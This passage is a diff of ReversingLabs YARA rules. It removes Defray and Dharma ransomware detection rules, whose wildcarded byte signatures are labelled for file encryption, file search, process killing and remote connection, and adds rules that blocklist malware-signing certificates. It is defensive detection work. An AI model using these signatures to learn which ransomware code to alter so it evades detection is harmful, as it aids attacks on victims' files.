FF ?? 0F 84 ?? ?? ?? ?? - 53 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 8B 5C - 24 ?? 83 BC 24 ?? ?? ?? ?? ?? 8B F5 7E ?? 55 8D 84 24 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? - 8B E8 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 DB 89 44 24 ?? 85 C0 7E ?? 8B F8 - 0F BE 0C 2B 51 E8 ?? ?? ?? ?? 88 04 2B 43 3B DF 7C ?? 8B 84 24 ?? ?? ?? ?? FF 34 B0 - 55 FF 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 46 50 5D 3B B4 24 ?? ?? ?? ?? 7C ?? 8B 7C 24 - ?? 33 ED 85 DB 74 ?? 55 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 55 50 FF - 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 83 C4 - ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 8D 44 24 ?? 50 FF 15 ?? ?? ?? - ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 55 55 68 ?? ?? ?? ?? 55 55 55 8D 84 24 ?? ?? ?? ?? - 50 55 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? - ?? ?? 57 FF 15 ?? ?? ?? ?? 5B 5F 5E 5D 81 C4 ?? ?? ?? ?? C2 - } - $encrypt_files_3 = { - 68 ?? ?? ?? ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? 33 C0 66 89 84 74 ?? ?? - ?? ?? 8D 44 24 ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 8D 44 24 ?? 50 E8 ?? ?? ?? - ?? F6 44 24 ?? ?? 8B F0 74 ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? - ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 8D 84 24 ?? ?? ?? ?? 50 8D 44 24 ?? 50 E8 ?? - ?? ?? ?? E9 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? - ?? 8D 44 24 ?? 50 FF D7 85 C0 0F 84 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 44 24 ?? 50 FF - D7 85 C0 0F 84 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 8D 44 24 ?? 50 FF - D7 85 C0 0F 84 ?? ?? ?? ?? 8B 44 24 ?? A8 ?? 74 ?? 83 E0 ?? 50 8D 84 24 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? FF 74 24 ?? 6A ?? 56 E8 ?? ?? ?? ?? 50 FF 74 24 ?? 8D 84 24 ?? - ?? ?? ?? 50 E8 ?? ?? ?? ?? 85 C0 75 ?? 8D 84 24 ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 FF D3 6A ?? 8D 84 24 - ?? ?? ?? ?? 50 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 E8 - ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 8B 74 24 ?? 59 8D 44 24 ?? 50 55 FF 15 - } - $search_files_2 = { - 53 55 56 57 8B 3D ?? ?? ?? ?? 6A ?? 6A ?? FF D7 50 FF 15 ?? ?? ?? ?? 8B E8 FF 15 ?? - ?? ?? ?? 68 ?? ?? ?? ?? 8B D8 C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 33 F6 8D 84 24 ?? ?? - ?? ?? 56 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 DB 74 ?? F6 C3 ?? 74 ?? 8D 84 24 ?? ?? ?? ?? - 50 FF 15 ?? ?? ?? ?? 83 F8 ?? 74 ?? 83 F8 ?? 74 ?? 83 F8 ?? 75 ?? 6A ?? 6A ?? C6 84 - 24 ?? ?? ?? ?? ?? FF D7 50 FF 15 ?? ?? ?? ?? 8D 8C 24 ?? ?? ?? ?? 89 44 B5 ?? 51 50 - FF 15 ?? ?? ?? ?? 46 FE 84 24 ?? ?? ?? ?? D1 EB 75 ?? 33 FF 85 F6 7E ?? 8B 9C 24 ?? - ?? ?? ?? 8D 44 24 ?? 2B E8 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 8B 8C - 24 ?? ?? ?? ?? 89 48 ?? 8D 0C BD ?? ?? ?? ?? 03 CD 89 58 ?? 8B 4C 0C ?? 89 08 33 C9 - 51 51 50 68 ?? ?? ?? ?? 51 51 FF 15 ?? ?? ?? ?? 89 44 BC ?? 47 3B FE 7C ?? 6A ?? 6A - ?? 8D 44 24 ?? 50 56 FF 15 - } - $kill_specific_processes_3 = { - E8 ?? ?? ?? ?? 83 C4 ?? 89 74 24 ?? 55 6A ?? E8 ?? ?? ?? ?? 8B F8 89 7C 24 ?? 83 FF - ?? 0F 84 ?? ?? ?? ?? 53 8D 84 24 ?? ?? ?? ?? C7 84 24 ?? ?? ?? ?? ?? ?? ?? ?? 50 57 - E8 ?? ?? ?? ?? 8B 5C 24 ?? 83 BC 24 ?? ?? ?? ?? ?? 8B F5 7E ?? 55 8D 84 24 ?? ?? ?? - ?? 50 E8 ?? ?? ?? ?? 8B E8 8D 84 24 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 33 DB 89 44 24 - ?? 85 C0 7E ?? 8B F8 0F BE 0C 2B 51 E8 ?? ?? ?? ?? 88 04 2B 43 3B DF 7C ?? 8B 84 24 - ?? ?? ?? ?? FF 34 B0 55 FF 15 ?? ?? ?? ?? 8B D8 85 DB 75 ?? 46 50 5D 3B B4 24 ?? ?? - ?? ?? 7C ?? 8B 7C 24 ?? 33 ED 85 DB 74 ?? 55 68 ?? ?? ?? ?? 55 FF 15 ?? ?? ?? ?? 68 - ?? ?? ?? ?? 55 50 FF 15 ?? ?? ?? ?? FF B4 24 ?? ?? ?? ?? 8B F0 68 ?? ?? ?? ?? 56 FF - 15 ?? ?? ?? ?? 83 C4 ?? 8D 44 24 ?? 68 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 56 8D 44 24 - ?? 50 FF 15 ?? ?? ?? ?? 8D 44 24 ?? 50 8D 44 24 ?? 50 55 55 68 ?? ?? ?? ?? 55 55 55 - 8D 84 24 ?? ?? ?? ?? 50 55 FF 15 ?? ?? ?? ?? 8D 84 24 ?? ?? ?? ?? 50 57 E8 ?? ?? ?? - ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF 15 - } - condition: - uint16( 0 ) == 0x5A4D and ( ( $search_files_1 and $encrypt_files_1 and $kill_specific_processes_1 ) or ( $search_files_1 and $encrypt_files_2 and $kill_specific_processes_2 ) or ( $search_files_2 and $encrypt_files_3 and $kill_specific_processes_3 ) ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Beijing Caiyunshidai Technology Co., Ltd." and pe.signatures [ i ] . serial == "42:80:f2:c8:ce:1d:98:e5:f8:da:7e:cb:00:5e:ea:e5" and 1476316800 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Defray : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_2946397Be9C5Ae44E95C99Af : INFO FILE { meta: - description = "Yara rule that detects Defray ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bc9e2dfe-168b-5b99-8523-07bfdcba44f2" - date = "2020-06-26" - modified = "2020-07-15" + id = "46bc3ade-544c-5ee1-8d5d-4b8a269120c9" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Defray.yara#L1-L157" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16654-L16670" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "82d883c77f49e50edbc7af05a108d4d54a46dca7661e4d0cd8aeffa19cb8df98" + logic_hash = "b7b4925482fcc47dea81eb3d84af31cc572f1b19080b98dda330b0bf6d7c80f4" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Defray" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $find_files = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 68 ?? ?? ?? ?? 33 - F6 89 95 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8B D9 56 50 89 9D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 83 C4 ?? 8D 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 83 - C4 ?? 2B D3 8B CB 89 95 ?? ?? ?? ?? 0F B7 01 66 89 04 0A 8D 49 ?? 66 85 C0 75 ?? 8D - BD ?? ?? ?? ?? 83 EF ?? 66 8B 47 ?? 83 C7 ?? 66 3B C6 75 ?? BE ?? ?? ?? ?? 68 ?? ?? - ?? ?? 53 A5 A5 66 A5 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 FF - 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 33 F6 8B 1D ?? ?? ?? ?? - 83 FB ?? 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B 10 66 3B 11 75 ?? - 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 85 D2 75 ?? 8B C6 - EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? B9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 8B - 10 66 3B 11 75 ?? 66 85 D2 74 ?? 66 8B 50 ?? 66 3B 51 ?? 75 ?? 83 C0 ?? 83 C1 ?? 66 - 85 D2 75 ?? 8B C6 EB ?? 1B C0 83 C8 ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B - 95 ?? ?? ?? ?? 0F B7 01 66 89 04 0A 8D 49 ?? 66 85 C0 75 ?? 8D BD ?? ?? ?? ?? 83 EF - ?? 33 C9 66 8B 47 ?? 8D 7F ?? 66 3B C1 75 ?? A1 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 89 07 - 8B F2 66 8B 02 83 C2 ?? 66 3B C1 75 ?? 8D BD ?? ?? ?? ?? 2B D6 83 EF ?? 66 8B 47 ?? - 83 C7 ?? 66 3B C1 75 ?? 8B CA C1 E9 ?? F3 A5 8B CA 83 E1 ?? F6 85 ?? ?? ?? ?? ?? F3 - A4 74 ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? F7 85 ?? ?? ?? ?? - ?? ?? ?? ?? 75 ?? 8B 8D ?? ?? ?? ?? 66 8B 85 ?? ?? ?? ?? 66 89 04 59 43 89 1D ?? ?? - ?? ?? 33 F6 8B 9D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 53 FF 15 ?? ?? ?? ?? 85 C0 0F 85 - ?? ?? ?? ?? 53 FF 15 ?? ?? ?? ?? 8B 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $find_special_folders = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 BE ?? ?? ?? ?? 8D - 85 ?? ?? ?? ?? 56 33 DB 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 56 53 50 E8 - ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 56 53 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? - ?? ?? BE ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 6A ?? 59 68 ?? ?? ?? ?? 53 F3 A5 50 E8 ?? ?? - ?? ?? 83 C4 ?? 8D BD ?? ?? ?? ?? BE ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 6A ?? 59 F3 A5 68 - ?? ?? ?? ?? 53 50 66 A5 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? BE ?? ?? ?? ?? 8D - BD ?? ?? ?? ?? 6A ?? 59 68 ?? ?? ?? ?? 53 F3 A5 50 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? - 8D 85 ?? ?? ?? ?? 83 C4 ?? 53 6A ?? 50 53 FF D6 53 6A ?? 8D 85 ?? ?? ?? ?? 50 53 FF - D6 53 6A ?? 8D 85 ?? ?? ?? ?? 50 53 FF D6 8D BD ?? ?? ?? ?? 83 EF ?? 66 8B 47 ?? 83 - C7 ?? 66 3B C3 75 ?? 6A ?? 59 BE ?? ?? ?? ?? F3 A5 8D BD ?? ?? ?? ?? 83 EF ?? 66 8B - 47 ?? 83 C7 ?? 66 3B C3 75 ?? 6A ?? 59 BE ?? ?? ?? ?? F3 A5 8D BD ?? ?? ?? ?? 83 EF - ?? 66 8B 47 ?? 83 C7 ?? 66 3B C3 75 ?? BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? A5 A5 A5 A5 - 66 A5 E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D - 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 74 ?? - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B - 4D ?? 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $remote_connection = { - 55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 8B 45 ?? 53 56 57 89 85 ?? - ?? ?? ?? 33 DB 8B 45 ?? 8B FA 68 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 53 - 50 E8 ?? ?? ?? ?? A1 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? A0 ?? ?? ?? ?? 88 45 ?? 8D 85 ?? - ?? ?? ?? 53 53 53 53 50 FF 15 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 8B D8 89 9D ?? ?? ?? ?? - 85 DB 74 ?? 33 C0 50 50 6A ?? 50 50 68 ?? ?? ?? ?? 57 53 FF 15 ?? ?? ?? ?? 8B F8 85 - FF 74 ?? 33 C0 50 68 ?? ?? ?? ?? 50 50 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 45 ?? 50 - 57 FF 15 ?? ?? ?? ?? 8B D8 85 DB 74 ?? 8B 95 ?? ?? ?? ?? 33 C9 85 D2 74 ?? 8B CA 8D - 41 ?? 89 85 ?? ?? ?? ?? 8A 01 41 84 C0 75 ?? 2B 8D ?? ?? ?? ?? 51 52 6A ?? 6A ?? 53 - FF 15 ?? ?? ?? ?? 53 FF D6 8B 9D ?? ?? ?? ?? 57 FF D6 53 FF D6 8B 4D ?? 5F 5E 33 CD - 5B E8 ?? ?? ?? ?? 8B E5 5D C3 - } - $encrypt_files_1 = { - 55 8B EC 51 51 83 4D ?? ?? 83 4D ?? ?? 57 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 - ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 8B F8 83 FF ?? 75 ?? 6A ?? 58 EB ?? 56 8D 45 ?? 50 - 57 FF 15 ?? ?? ?? ?? 89 45 ?? 85 C0 75 ?? 6A ?? EB ?? 8B 75 ?? 3B C6 0F 42 F0 83 7D - ?? ?? 74 ?? 6A ?? 8D 45 ?? 50 56 FF 75 ?? 57 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 6A ?? 5E - 57 FF 15 ?? ?? ?? ?? EB ?? 57 FF 15 ?? ?? ?? ?? 3B 75 ?? 6A ?? 58 0F 45 F0 8B C6 EB - ?? 57 FF 15 ?? ?? ?? ?? B8 ?? ?? ?? ?? 5E 5F 8B E5 5D C2 - } - $encrypt_files_2_p1 = { - 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 8D ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? - ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 45 ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? - 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? C6 45 ?? ?? 50 89 85 ?? ?? - ?? ?? 89 85 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 6A ?? 59 33 C0 8D 7D ?? - F3 AB 83 C4 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 85 C0 74 ?? FF 15 ?? ?? ?? ?? 50 - 68 ?? ?? ?? ?? 83 CE ?? EB ?? 6A ?? 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 59 85 - C0 74 ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 5E 6A ?? 8B D6 59 E8 ?? ?? ?? ?? - 59 59 E9 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? 85 F6 75 ?? 6A ?? 5E E9 ?? ?? ?? ?? 80 BD ?? - ?? ?? ?? ?? B8 ?? ?? ?? ?? 75 ?? B8 ?? ?? ?? ?? 3B F0 0F 47 F0 8D 85 ?? ?? ?? ?? 50 - 56 8B C8 89 B5 ?? ?? ?? ?? E8 ?? ?? ?? ?? 56 FF B5 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? - ?? 8B F8 85 FF 79 ?? FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? 5A 6A ?? 59 E8 ?? ?? ?? - ?? 59 59 BE ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? - FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? 5A 6A ?? 59 E8 ?? ?? ?? ?? 59 59 6A ?? E9 - ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 59 8D 55 ?? 8D 8D - ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B C7 8B DF 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 40 74 ?? 8B - } - $encrypt_files_2_p2 = { - B5 ?? ?? ?? ?? 43 46 8B C3 25 ?? ?? ?? ?? 79 ?? 48 83 C8 ?? 40 75 ?? 89 B5 ?? ?? ?? - ?? 8D 85 ?? ?? ?? ?? 50 53 8B C8 E8 ?? ?? ?? ?? 33 D2 85 FF 7E ?? 8B 85 ?? ?? ?? ?? - 8A 0C 10 8B 85 ?? ?? ?? ?? 88 0C 10 42 3B D7 7C ?? 3B FB 7D ?? 8B C3 2B C7 50 8B 85 - ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 03 C7 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 - 53 8B C8 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 8B C8 E8 ?? ?? ?? ?? 8B - 95 ?? ?? ?? ?? 8D 45 ?? 51 50 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 - ?? 6A ?? E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 53 FF B5 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 59 59 85 C0 75 ?? 6A ?? 33 FF 5A 8B 85 ?? ?? ?? ?? 8A 4C 3D ?? 88 0C 38 - 47 3B FA 7C ?? 8D 75 ?? 6A ?? 2B F2 5F 8B 85 ?? ?? ?? ?? 8A 0C 32 88 0C 10 42 3B D7 - 7C ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 95 ?? ?? ?? ?? E8 - ?? ?? ?? ?? 59 59 85 C0 74 ?? 6A ?? E9 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 83 EC ?? 8D - 85 ?? ?? ?? ?? 50 51 8B 8D ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 - } - $encrypt_files_2_p3 = { - 85 C0 79 ?? 6A ?? E9 ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? BA ?? ?? ?? ?? 2B F7 8B 85 ?? ?? - ?? ?? 8A 0C 37 88 0C 38 47 3B FA 7C ?? 8B B5 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8A 8C 02 ?? - ?? ?? ?? 8B 85 ?? ?? ?? ?? 88 0C 10 42 81 FA ?? ?? ?? ?? 7C ?? 83 BD ?? ?? ?? ?? ?? - 74 ?? 8D 4D ?? E8 ?? ?? ?? ?? 84 C0 75 ?? BE ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? - ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8B C6 E9 ?? ?? ?? ?? 51 6A ?? 53 FF B5 ?? ?? ?? ?? 8D 4D ?? E8 - ?? ?? ?? ?? 8B F8 85 FF 79 ?? FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? 5A 6A ?? 59 E8 - ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? - 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 87 ?? ?? ?? ?? - E9 ?? ?? ?? ?? 51 6A ?? 68 ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 8D 4D ?? E8 ?? ?? ?? ?? 8B - F8 85 FF 79 ?? FF 15 ?? ?? ?? ?? 50 8D 45 ?? 50 6A ?? 5A 6A ?? 59 E8 ?? ?? ?? ?? 59 - 59 EB ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? - ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 01 34 85 - ?? ?? ?? ?? FF 04 85 ?? ?? ?? ?? 33 FF 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? - ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? - ?? 8B C7 E8 ?? ?? ?? ?? C3 - } - condition: - uint16( 0 ) == 0x5A4D and ( $find_files ) and ( $find_special_folders ) and ( $encrypt_files_1 ) and ( all of ( $encrypt_files_2_p* ) ) and ( $remote_connection ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "29:46:39:7b:e9:c5:ae:44:e9:5c:99:af" and 1476092708 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Ransomware_Dharma : TC_DETECTION MALICIOUS MALWARE FILE + +rule REVERSINGLABS_Cert_Blocklist_2Df453588177Cf1C0C297Ff4 : INFO FILE { meta: - description = "Yara rule that detects Dharma ransomware." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8157b20b-717c-581f-83c1-5fc8d2312238" - date = "2020-06-26" - modified = "2020-07-15" + id = "c3a18989-239e-56d7-b1c2-92895c02b7d8" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/ransomware/Win32.Ransomware.Dharma.yara#L1-L108" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L16672-L16688" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "6f33281523b462aaff68bb04f2f6869c3e6cd60cd9306ed80bb0c3e3b699f315" + logic_hash = "b0c82388fd87a89841d190ce4020cc5a2ea21c9d765ceca6bc25d64162479231" score = 75 quality = 90 - tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "MALWARE" - tc_detection_type = "Ransomware" - tc_detection_name = "Dharma" - tc_detection_factor = 5 + category = "INFO" importance = 25 - strings: - $file_search = { - 55 8B EC 83 EC ?? C7 45 ?? ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? - 8B 45 ?? 50 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8D 4D ?? 51 8B 55 - ?? 52 E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8B 45 ?? 50 E8 ?? ?? ?? ?? 83 7D ?? ?? - 75 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 83 7D ?? ?? 75 ?? 81 7D ?? ?? ?? ?? ?? 76 ?? 8B - 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B - 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 45 ?? 83 7D - ?? ?? 75 ?? 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 - 8B 45 ?? 50 8B 4D ?? 51 8B 55 ?? 52 8B 45 ?? 50 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? - 89 45 ?? 8B 45 ?? 8B E5 5D C3 - } - $file_encrypt_1 = { - 55 8B EC 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 45 - ?? ?? ?? ?? ?? 8B 45 ?? 89 85 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 4D ?? C7 45 - ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? - ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 6A ?? 8B 55 ?? 52 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? - ?? 83 C4 ?? 8B 45 ?? 33 D2 B9 ?? ?? ?? ?? F7 F1 8B 45 ?? 2B C2 83 E8 ?? 89 45 ?? 8B - 4D ?? 51 E8 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? 8B 55 ?? 52 E8 ?? ?? - ?? ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 8B 45 ?? 05 ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 83 ?? ?? - ?? ?? 8B 4D ?? 83 E1 ?? 74 ?? 8B 55 ?? 83 E2 ?? 52 8B 45 ?? 50 E8 ?? ?? ?? ?? 6A 